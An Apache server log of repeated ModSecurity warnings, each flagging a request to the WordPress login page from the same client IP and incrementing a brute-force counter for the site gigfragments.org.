[Fri Feb 27 02:18:49.384030 2026] [:error] [pid 18843:tid 18956] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOiSuD2bhSYSowPs0PxwAAARA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:18:51.001547 2026] [:error] [pid 18843:tid 18946] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOiyuD2bhSYSowPs0PzgAAAQY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:18:53.554575 2026] [:error] [pid 18843:tid 18952] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOjSuD2bhSYSowPs0P1QAAAQw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:18:55.330213 2026] [:error] [pid 18843:tid 18958] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOjyuD2bhSYSowPs0P1wAAARI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:18:57.947486 2026] [:error] [pid 18843:tid 18955] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOkSuD2bhSYSowPs0P2gAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:00.017581 2026] [:error] [pid 18843:tid 18956] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOlCuD2bhSYSowPs0P3AAAARA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:02.870582 2026] [:error] [pid 18843:tid 18963] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOliuD2bhSYSowPs0P5QAAARc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:04.990198 2026] [:error] [pid 18843:tid 18952] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOmCuD2bhSYSowPs0P6QAAAQw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:07.682077 2026] [:error] [pid 18843:tid 18962] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOmyuD2bhSYSowPs0P8QAAARY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:09.782643 2026] [:error] [pid 18843:tid 18963] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOnSuD2bhSYSowPs0P-gAAARc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:12.451460 2026] [:error] [pid 18843:tid 18952] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOoCuD2bhSYSowPs0QAgAAAQw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:14.470557 2026] [:error] [pid 18843:tid 18962] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOoiuD2bhSYSowPs0QBgAAARY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:17.132307 2026] [:error] [pid 18843:tid 18960] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOpSuD2bhSYSowPs0QDgAAARQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:19.235954 2026] [:error] [pid 18843:tid 18942] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOpyuD2bhSYSowPs0QEAAAAQI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:21.833104 2026] [:error] [pid 18843:tid 18949] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOqSuD2bhSYSowPs0QFQAAAQk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:23.674727 2026] [:error] [pid 18843:tid 18946] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOqyuD2bhSYSowPs0QGAAAAQY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:26.278017 2026] [:error] [pid 18843:tid 18963] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOriuD2bhSYSowPs0QHAAAARc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:28.001121 2026] [:error] [pid 18843:tid 18954] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOsCuD2bhSYSowPs0QHQAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:30.610107 2026] [:error] [pid 18843:tid 18958] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOsiuD2bhSYSowPs0QIQAAARI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:32.580454 2026] [:error] [pid 18843:tid 18941] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOtCuD2bhSYSowPs0QKAAAAQE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:35.238324 2026] [:error] [pid 18843:tid 18947] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOtyuD2bhSYSowPs0QLQAAAQc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:37.422982 2026] [:error] [pid 18843:tid 18961] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOuSuD2bhSYSowPs0QLwAAARU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:39.996666 2026] [:error] [pid 18843:tid 18945] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOuyuD2bhSYSowPs0QMgAAAQU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:42.019302 2026] [:error] [pid 18843:tid 18957] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOviuD2bhSYSowPs0QNAAAARE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:44.645640 2026] [:error] [pid 18843:tid 18943] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOwCuD2bhSYSowPs0QOwAAAQM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:47.131621 2026] [:error] [pid 18843:tid 18943] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOwyuD2bhSYSowPs0QQwAAAQM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:49.753301 2026] [:error] [pid 18843:tid 18957] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOxSuD2bhSYSowPs0QSQAAARE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:51.863739 2026] [:error] [pid 18843:tid 18964] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOxyuD2bhSYSowPs0QSgAAARg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:54.529589 2026] [:error] [pid 18843:tid 18951] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOyiuD2bhSYSowPs0QTQAAAQs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:56.485594 2026] [:error] [pid 18843:tid 18963] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOzCuD2bhSYSowPs0QUAAAARc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:19:59.013668 2026] [:error] [pid 18843:tid 18943] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCOzyuD2bhSYSowPs0QVQAAAQM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:01.142206 2026] [:error] [pid 18843:tid 18958] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO0SuD2bhSYSowPs0QWQAAARI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:03.776442 2026] [:error] [pid 18843:tid 18940] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO0yuD2bhSYSowPs0QXwAAAQA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:05.798060 2026] [:error] [pid 18843:tid 18951] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO1SuD2bhSYSowPs0QZAAAAQs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:08.518417 2026] [:error] [pid 18843:tid 18962] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO2CuD2bhSYSowPs0QcwAAARY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:10.454909 2026] [:error] [pid 18843:tid 18959] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO2iuD2bhSYSowPs0QeQAAARM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:13.133405 2026] [:error] [pid 18843:tid 18961] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO3SuD2bhSYSowPs0QewAAARU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:15.068825 2026] [:error] [pid 18843:tid 18948] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO3yuD2bhSYSowPs0QfAAAAQg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:17.938270 2026] [:error] [pid 18843:tid 18960] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO4SuD2bhSYSowPs0QggAAARQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:20.141676 2026] [:error] [pid 18843:tid 18963] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO5CuD2bhSYSowPs0QhgAAARc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:22.833097 2026] [:error] [pid 18843:tid 18958] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO5iuD2bhSYSowPs0QjgAAARI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:24.578245 2026] [:error] [pid 18843:tid 18948] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO6CuD2bhSYSowPs0QkQAAAQg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:27.209579 2026] [:error] [pid 18843:tid 18956] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO6yuD2bhSYSowPs0QmAAAARA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:29.031795 2026] [:error] [pid 18843:tid 18944] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO7SuD2bhSYSowPs0QnAAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:31.684837 2026] [:error] [pid 18843:tid 18951] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO7yuD2bhSYSowPs0QnwAAAQs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:33.547442 2026] [:error] [pid 18843:tid 18955] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO8SuD2bhSYSowPs0QoQAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:36.123033 2026] [:error] [pid 18843:tid 18952] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO9CuD2bhSYSowPs0QpQAAAQw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:37.968694 2026] [:error] [pid 18843:tid 18944] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO9SuD2bhSYSowPs0QrwAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:40.573750 2026] [:error] [pid 18843:tid 18963] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO-CuD2bhSYSowPs0QwAAAARc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:42.469185 2026] [:error] [pid 18843:tid 18955] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO-iuD2bhSYSowPs0QxgAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:45.056476 2026] [:error] [pid 18843:tid 18943] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO_SuD2bhSYSowPs0QygAAAQM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:47.203802 2026] [:error] [pid 18843:tid 18951] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCO_yuD2bhSYSowPs0QzAAAAQs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:49.774783 2026] [:error] [pid 18843:tid 18947] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPASuD2bhSYSowPs0QzgAAAQc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:51.766323 2026] [:error] [pid 18843:tid 18953] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPAyuD2bhSYSowPs0QzwAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 02:20:54.343404 2026] [:error] [pid 18843:tid 18941] [client 5.189.188.55:54093] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCPBiuD2bhSYSowPs0Q0gAAAQE"], referer: https://gigfragments.org/wp-login.php
